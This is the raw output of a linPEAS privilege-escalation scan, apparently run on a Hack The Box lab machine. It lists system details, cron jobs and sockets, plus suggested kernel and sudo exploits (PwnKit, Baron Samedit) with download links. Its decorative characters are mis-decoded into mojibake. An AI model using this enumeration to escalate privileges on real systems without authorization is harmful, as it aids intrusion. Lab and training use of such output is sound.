鈻? 鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽
鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻?/p>
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽
鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽
鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻? 鈻?鈻勨杽
鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻?/p>
鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻?
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻?
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽
鈻€鈻€鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻勨杸鈻€鈻€鈻€鈻€鈻€
鈻€鈻€鈻€鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻€鈻€
鈻€鈻€鈻€鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杸鈻€鈻€
/---------------------------------------------------------------------------------\
| do you like peass? |
|---------------------------------------------------------------------------------|
| get the latest version : github /sponsors/carlospolop |
| follow on twitter : @carlospolopm |
| respect on htb : sirbroccoli |
|---------------------------------------------------------------------------------|
| thank you! |
\---------------------------------------------------------------------------------/
linpeas-ng by carlospolop
advisory: this script should be used for authorized penetration testing and/or educational purposes only. any misuse of this software will not be the responsibility of the author or of any other collaborator. use it at your own computers and/or with the computer owner's permission.
linux privesc checklist: book.hacktricks /linux-hardening/linux-privilege-escalation-checklist
legend:
red/yellow: 95% a pe vector
red: you should take a look to it
lightcyan: users with console
blue: users without console & mounted devs
green: common things (users, groups, suid/sgid, mounts, .sh scripts, cronjobs)
lightmagenta: your username
starting linpeas. caching writable folders...
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?/p>
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 basic information 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
os: linux version 5.4.0-135-generic (buildd@lcy02-amd64-066) (gcc version 9.4.0 (ubuntu 9.4.0-1ubuntu1~20.04.1)) #152-ubuntu smp wed nov 23 20:19:22 utc 2022
user & groups: uid=1001(player) gid=1001(player) groups=1001(player)
hostname: soccer
writable folder: /dev/shm
[ ] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[ ] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. learn more with -h)
[ ] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)
caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . done
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晽
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?system information 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暆
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 operative system
鈺? book.hacktricks /linux-hardening/privilege-escalation#kernel-exploits
linux version 5.4.0-135-generic (buildd@lcy02-amd64-066) (gcc version 9.4.0 (ubuntu 9.4.0-1ubuntu1~20.04.1)) #152-ubuntu smp wed nov 23 20:19:22 utc 2022
distributor id: ubuntu
description: ubuntu 20.04.5 lts
release: 20.04
codename: focal
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 sudo version
鈺? book.hacktricks /linux-hardening/privilege-escalation#sudo-version
sudo version 1.8.31
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 cves check
vulnerable to cve-2021-3560
potentially vulnerable to cve-2022-2588
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 path
鈺? book.hacktricks /linux-hardening/privilege-escalation#writable-path-abuses
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
new path exported: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 date & uptime
sun mar 19 07:08:06 utc 2023
07:08:06 up 20:03, 2 users, load average: 0.15, 0.03, 0.01
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 any sd*/disk* disk in /dev? (limit 20)
disk
sda
sda1
sda2
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 unmounted file-system?
鈺?check if you can mount umounted devices
label=cloudimg-rootfs / ext4 defaults 0 1
data /data vboxsf uid=1000,gid=1000,_netdev 0 0
vagrant /vagrant vboxsf uid=1000,gid=1000,_netdev 0 0
/dev/sda1 none swap sw 0 0
proc /proc proc defaults,nodev,relatime,hidepid=2
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 environment
鈺?any private information inside environment variables?
lessopen=| /usr/bin/lesspipe %s
histfilesize=0
user=player
ssh_client=10.10.16.6 53816 22
xdg_session_type=tty
shlvl=1
motd_shown=pam
home=/home/player
ssh_tty=/dev/pts/2
dbus_session_bus_address=unix:path=/run/user/1001/bus
logname=player
_=./linpeas.sh
xdg_session_class=user
term=xterm-256color
xdg_session_id=1391
path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
xdg_runtime_dir=/run/user/1001
lang=c.utf-8
histsize=0
ls_colors=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
shell=/bin/bash
lessclose=/usr/bin/lesspipe %s %s
pwd=/home/player
ssh_connection=10.10.16.6 53816 10.10.11.194 22
xdg_data_dirs=/usr/local/share:/usr/share:/var/lib/snapd/desktop
histfile=/dev/null
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 searching signature verification failed in dmesg
鈺? book.hacktricks /linux-hardening/privilege-escalation#dmesg-signature-verification-failed
dmesg not found
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 executing linux exploit suggester
鈺? github /mzet-/linux-exploit-suggester
[ ] [cve-2022-2586] nft_object uaf
details: openwall /lists/oss-security/2022/08/29/5
exposure: probable
tags: [ ubuntu=(20.04) ]{kernel:5.12.13}
download url: openwall /lists/oss-security/2022/08/29/5/1
comments: kernel.unprivileged_userns_clone=1 required (to obtain cap_net_admin)
[ ] [cve-2021-4034] pwnkit
details: qualys /2022/01/25/cve-2021-4034/pwnkit.txt
exposure: probable
tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
download url: codeload.github /berdav/cve-2021-4034/zip/main
[ ] [cve-2021-3156] sudo baron samedit
details: qualys /2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
exposure: probable
tags: mint=19,[ ubuntu=18|20 ], debian=10
download url: codeload.github /blasty/cve-2021-3156/zip/main
[ ] [cve-2021-3156] sudo baron samedit 2
details: qualys /2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
exposure: probable
tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
download url: codeload.github /worawit/cve-2021-3156/zip/main
[ ] [cve-2021-22555] netfilter heap out-of-bounds write
details: google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
exposure: probable
tags: [ ubuntu=20.04 ]{kernel:5.8.0-*}
download url: raw.githubusercontent /google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: raw.githubusercontent /bcoles/kernel-exploits/master/cve-2021-22555/exploit.c
comments: ip_tables kernel module must be loaded
[ ] [cve-2022-32250] nft_object uaf (nft_msg_newset)
details: research.nccgroup /2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
blog.theori.io/research/cve-2022-32250-linux-kernel-lpe-2022/
exposure: less probable
tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
download url: raw.githubusercontent /theori-io/cve-2022-32250-exploit/main/exp.c
comments: kernel.unprivileged_userns_clone=1 required (to obtain cap_net_admin)
[ ] [cve-2017-5618] setuid screen v4.5.0 lpe
details: seclists.org/oss-sec/2017/q1/184
exposure: less probable
download url: exploit-db /download/ exploit-db /exploits/41154
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 executing linux exploit suggester 2
鈺? github /jondonas/linux-exploit-suggester-2
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 protections
鈺愨暎 apparmor enabled? .............. you do not have enough privilege to read the profile set.
apparmor module is loaded.
鈺愨暎 grsecurity present? ............ grsecurity not found
鈺愨暎 pax bins present? .............. pax not found
鈺愨暎 execshield enabled? ............ execshield not found
鈺愨暎 selinux enabled? ............... sestatus not found
鈺愨暎 seccomp enabled? ............... disabled
鈺愨暎 apparmor profile? .............. unconfined
鈺愨暎 user namespace? ................ enabled
鈺愨暎 cgroup2 enabled? ............... enabled
鈺愨暎 is aslr enabled? ............... yes
鈺愨暎 printer? ....................... no
鈺愨暎 is this a virtual machine? ..... yes (vmware)
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?/p>
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 container 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 container related tools present
/snap/bin/lxc
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 am i containered?
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 container details
鈺愨暎 is this a container? ........... no
鈺愨暎 any running containers? ........ no
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺?/p>
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 cloud 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺愨暎 google cloud platform? ............... no
鈺愨暎 aws ecs? ............................. no
鈺愨暎 aws ec2? ............................. no
鈺愨暎 aws lambda? .......................... no
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晽
鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?processes, crons, timers, services and sockets 鈺犫晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺?
鈺氣晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暆
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 cleaned processes
鈺?check weird & unexpected proceses run by root: book.hacktricks /linux-hardening/privilege-escalation#processes
player 308476 0.0 0.1 10120 5328 pts/2 ss 07:03 0:00 -bash
player 308505 0.2 0.0 3664 2712 pts/2 s 07:07 0:00 _ /bin/sh ./linpeas.sh
player 311609 0.0 0.0 3664 1144 pts/2 s 07:08 0:00 _ /bin/sh ./linpeas.sh
player 311610 0.0 0.0 10612 3376 pts/2 r 07:08 0:00 | _ ps fauxwww
player 311611 0.0 0.0 3664 1144 pts/2 r 07:08 0:00 _ /bin/sh ./linpeas.sh
player 311613 0.0 0.0 3664 1144 pts/2 s 07:08 0:00 _ /bin/sh ./linpeas.sh
player 9262 0.0 0.1 10120 5380 pts/1 ss 03:26 0:00 -bash
player 9153 0.0 0.2 19116 9736 ? ss 03:26 0:00 /lib/systemd/systemd --user
player 11873 0.0 0.1 7108 4004 ? ss 03:52 0:00 _ /usr/bin/dbus-daemon[0m --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 binary processes permissions (non 'root root' and not belonging to current user)
鈺? book.hacktricks /linux-hardening/privilege-escalation#processes
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 files opened by processes belonging to other users
鈺?this is usually empty because of the lack of privileges to read other user processes information
command pid user fd type device size/off node name
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 processes with credentials in memory (root req)
鈺? book.hacktricks /linux-hardening/privilege-escalation#credentials-from-process-memory
gdm-password not found
gnome-keyring-daemon not found
lightdm not found
vsftpd not found
apache2 not found
sshd not found
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 cron jobs
鈺? book.hacktricks /linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
incrontab not found
-rw-r--r-- 1 root root 1040 nov 28 22:08 /etc/crontab
/etc/cron.d:
total 24
drwxr-xr-x 2 root root 4096 nov 17 08:51 .
drwxr-xr-x 101 root root 4096 dec 13 07:44 ..
-rw-r--r-- 1 root root 102 feb 13 2020 .placeholder
-rw-r--r-- 1 root root 201 feb 14 2020 e2scrub_all
-rw-r--r-- 1 root root 712 mar 27 2020 php
-rw-r--r-- 1 root root 191 nov 15 21:40 popularity-contest
/etc/cron.daily:
total 48
drwxr-xr-x 2 root root 4096 dec 1 18:14 .
drwxr-xr-x 101 root root 4096 dec 13 07:44 ..
-rw-r--r-- 1 root root 102 feb 13 2020 .placeholder
-rwxr-xr-x 1 root root 376 dec 4 2019 apport
-rwxr-xr-x 1 root root 1478 apr 9 2020 apt-compat
-rwxr-xr-x 1 root root 355 dec 29 2017 bsdmainutils
-rwxr-xr-x 1 root root 1187 sep 5 2019 dpkg
-rwxr-xr-x 1 root root 377 jan 21 2019 logrotate
-rwxr-xr-x 1 root root 1123 feb 25 2020 man-db
-rwxr-xr-x 1 root root 4574 jul 18 2019 popularity-contest
-rwxr-xr-x 1 root root 214 apr 25 2022 update-notifier-common
/etc/cron.hourly:
total 12
drwxr-xr-x 2 root root 4096 nov 15 21:39 .
drwxr-xr-x 101 root root 4096 dec 13 07:44 ..
-rw-r--r-- 1 root root 102 feb 13 2020 .placeholder
/etc/cron.monthly:
total 12
drwxr-xr-x 2 root root 4096 nov 15 21:39 .
drwxr-xr-x 101 root root 4096 dec 13 07:44 ..
-rw-r--r-- 1 root root 102 feb 13 2020 .placeholder
/etc/cron.weekly:
total 20
drwxr-xr-x 2 root root 4096 nov 15 21:40 .
drwxr-xr-x 101 root root 4096 dec 13 07:44 ..
-rw-r--r-- 1 root root 102 feb 13 2020 .placeholder
-rwxr-xr-x 1 root root 813 feb 25 2020 man-db
-rwxr-xr-x 1 root root 403 apr 25 2022 update-notifier-common
shell=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 systemd path
鈺? book.hacktricks /linux-hardening/privilege-escalation#systemd-path-relative-paths
path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing .service files
鈺? book.hacktricks /linux-hardening/privilege-escalation#services
/etc/systemd/system/multi-user.target.wants/atd.service is executing some relative path
/etc/systemd/system/multi-user.target.wants/grub-common.service is executing some relative path
/etc/systemd/system/sleep.target.wants/grub-common.service is executing some relative path
you can't write on systemd path
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 system timers
鈺? book.hacktricks /linux-hardening/privilege-escalation#timers
next left last passed unit activates
sun 2023-03-19 07:09:00 utc 29s left sun 2023-03-19 06:39:00 utc 29min ago phpsessionclean.timer phpsessionclean.service
sun 2023-03-19 11:19:55 utc 4h 11min left sat 2023-03-18 11:19:55 utc 19h ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
sun 2023-03-19 13:38:42 utc 6h left sun 2023-03-19 06:52:17 utc 16min ago ua-timer.timer ua-timer.service
sun 2023-03-19 14:28:28 utc 7h left sun 2023-03-19 04:18:49 utc 2h 49min ago motd-news.timer motd-news.service
sun 2023-03-19 17:28:47 utc 10h left sat 2023-03-18 18:13:21 utc 12h ago apt-daily.timer apt-daily.service
mon 2023-03-20 00:00:00 utc 16h left sat 2023-03-18 11:05:04 utc 20h ago fstrim.timer fstrim.service
mon 2023-03-20 00:00:00 utc 16h left sun 2023-03-19 00:00:06 utc 7h ago logrotate.timer logrotate.service
mon 2023-03-20 00:00:00 utc 16h left sun 2023-03-19 00:00:06 utc 7h ago man-db.timer man-db.service
mon 2023-03-20 00:17:52 utc 17h left sun 2023-03-19 06:46:57 utc 21min ago fwupd-refresh.timer fwupd-refresh.service
mon 2023-03-20 06:29:22 utc 23h left sun 2023-03-19 06:12:10 utc 56min ago apt-daily-upgrade.timer apt-daily-upgrade.service
sun 2023-03-26 03:10:59 utc 6 days left sun 2023-03-19 03:10:07 utc 3h 58min ago e2scrub_all.timer e2scrub_all.service
n/a n/a n/a n/a snapd.snap-repair.timer snapd.snap-repair.service
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing .timer files
鈺? book.hacktricks /linux-hardening/privilege-escalation#timers
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 analyzing .socket files
鈺? book.hacktricks /linux-hardening/privilege-escalation#sockets
/etc/systemd/system/sockets.target.wants/uuidd.socket is calling this writable listener: /run/uuidd/request
/snap/core20/1695/usr/lib/systemd/system/dbus.socket is calling this writable listener: /var/run/dbus/system_bus_socket
/snap/core20/1695/usr/lib/systemd/system/sockets.target.wants/dbus.socket is calling this writable listener: /var/run/dbus/system_bus_socket
/snap/core20/1695/usr/lib/systemd/system/sockets.target.wants/systemd-journald-dev-log.socket is calling this writable listener: /run/systemd/journal/dev-log
/snap/core20/1695/usr/lib/systemd/system/sockets.target.wants/systemd-journald.socket is calling this writable listener: /run/systemd/journal/stdout
/snap/core20/1695/usr/lib/systemd/system/sockets.target.wants/systemd-journald.socket is calling this writable listener: /run/systemd/journal/socket
/snap/core20/1695/usr/lib/systemd/system/syslog.socket is calling this writable listener: /run/systemd/journal/syslog
/snap/core20/1695/usr/lib/systemd/system/systemd-journald-dev-log.socket is calling this writable listener: /run/systemd/journal/dev-log
/snap/core20/1695/usr/lib/systemd/system/systemd-journald.socket is calling this writable listener: /run/systemd/journal/stdout
/snap/core20/1695/usr/lib/systemd/system/systemd-journald.socket is calling this writable listener: /run/systemd/journal/socket
/usr/lib/systemd/system/dbus.socket is calling this writable listener: /var/run/dbus/system_bus_socket
/usr/lib/systemd/system/sockets.target.wants/dbus.socket is calling this writable listener: /var/run/dbus/system_bus_socket
/usr/lib/systemd/system/sockets.target.wants/systemd-journald-dev-log.socket is calling this writable listener: /run/systemd/journal/dev-log
/usr/lib/systemd/system/sockets.target.wants/systemd-journald.socket is calling this writable listener: /run/systemd/journal/stdout
/usr/lib/systemd/system/sockets.target.wants/systemd-journald.socket is calling this writable listener: /run/systemd/journal/socket
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 unix sockets listening
鈺? book.hacktricks /linux-hardening/privilege-escalation#sockets
/org/kernel/linux/storage/multipathd
/root/.pm2/pub.sock
/root/.pm2/rpc.sock
/run/dbus/system_bus_socket
鈹斺攢(read write)
/run/irqbalance//irqbalance747.sock
鈹斺攢(read )
/run/irqbalance/irqbalance747.sock
鈹斺攢(read )
/run/lvm/lvmpolld.socket
/run/mysqld/mysqld.sock
鈹斺攢(read write)
/run/mysqld/mysqlx.sock
鈹斺攢(read write)
/run/php/php7.4-fpm.sock
/run/snapd-snap.socket
鈹斺攢(read write)
/run/snapd.socket
鈹斺攢(read write)
/run/systemd/fsck.progress
/run/systemd/journal/dev-log
鈹斺攢(read write)
/run/systemd/journal/io.systemd.journal
/run/systemd/journal/socket
鈹斺攢(read write)
/run/systemd/journal/stdout
鈹斺攢(read write)
/run/systemd/journal/syslog
鈹斺攢(read write)
/run/systemd/notify
鈹斺攢(read write)
/run/systemd/private
鈹斺攢(read write)
/run/systemd/userdb/io.systemd.dynamicuser
鈹斺攢(read write)
/run/udev/control
/run/user/1001/bus
鈹斺攢(read write)
/run/user/1001/gnupg/s.dirmngr
鈹斺攢(read write)
/run/user/1001/gnupg/s.gpg-agent
鈹斺攢(read write)
/run/user/1001/gnupg/s.gpg-agent.browser
鈹斺攢(read write)
/run/user/1001/gnupg/s.gpg-agent.extra
鈹斺攢(read write)
/run/user/1001/gnupg/s.gpg-agent.ssh
鈹斺攢(read write)
/run/user/1001/pk-debconf-socket
鈹斺攢(read write)
/run/user/1001/snapd-session-agent.socket
鈹斺攢(read write)
/run/user/1001/systemd/notify
鈹斺攢(read write)
/run/user/1001/systemd/private
鈹斺攢(read write)
/run/uuidd/request
鈹斺攢(read write)
/run/vmware/guestservicepipe
鈹斺攢(read write)
/var/run/mysqld/mysqld.sock
鈹斺攢(read write)
/var/run/mysqld/mysqlx.sock
鈹斺攢(read write)
/var/run/vmware/guestservicepipe
鈹斺攢(read write)
/var/snap/lxd/common/lxd/unix.socket
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 d-bus config files
鈺? book.hacktricks /linux-hardening/privilege-escalation#d-bus
鈺斺晲鈺愨晲鈺愨晲鈺愨晲鈺愨晲鈺愨暎 d-bus service objects list
鈺? book.hacktricks /linux-hardening/privilege-escalation#d-bus
name pid process user connection unit session description
:1.0 - - - - - - -
:1.1 - - - - - - -
:1.11 - - - - - - -
:1.148 - - - - - - -
:1.156 - - - - - - -
:1.27 - - - - - - -
:1.3 - - - - - - -
:1.4 - - - - - - -
:1.5 - - - - - - -
:1.6 - - - - - - -
:1.7 - - - - - - -
:1.8 - - - - - - -
:1.9 - - - - - - -
com.ubuntu.languageselector - - - (activatable) - - -
com.ubuntu.softwareproperties - - - (activatable) - - -
org.freedesktop.accounts - - - - - - -
org.freedesktop.dbus - - - - - - -
org.freedesktop.modemmanager1 - - - - - - -
org.freedesktop.packagekit - - - (activatable) - - -
org.freedesktop.policykit1 - - - - - - -
org.freedesktop.udisks2 - - - - - - -
org.freedesktop.bolt - - - (activatable) - - -
org.freedesktop.fwupd - - - - - - -
org.freedesktop.hostname1 - - - (activatable) - - -
org.freedesktop.locale1 - - - (activatable) - - -
org.freedesktop.login1 - - - - - - -
org.freedesktop work1 - - - - - - -
org.freedesktop.resolve1 - - - - - - -
org.freedesktop.systemd1 - - - - - - -
org.freedesktop.timedate1 - - - (activatable) - - -
org.freedesktop.timesync1 - - - (activatable) - - -
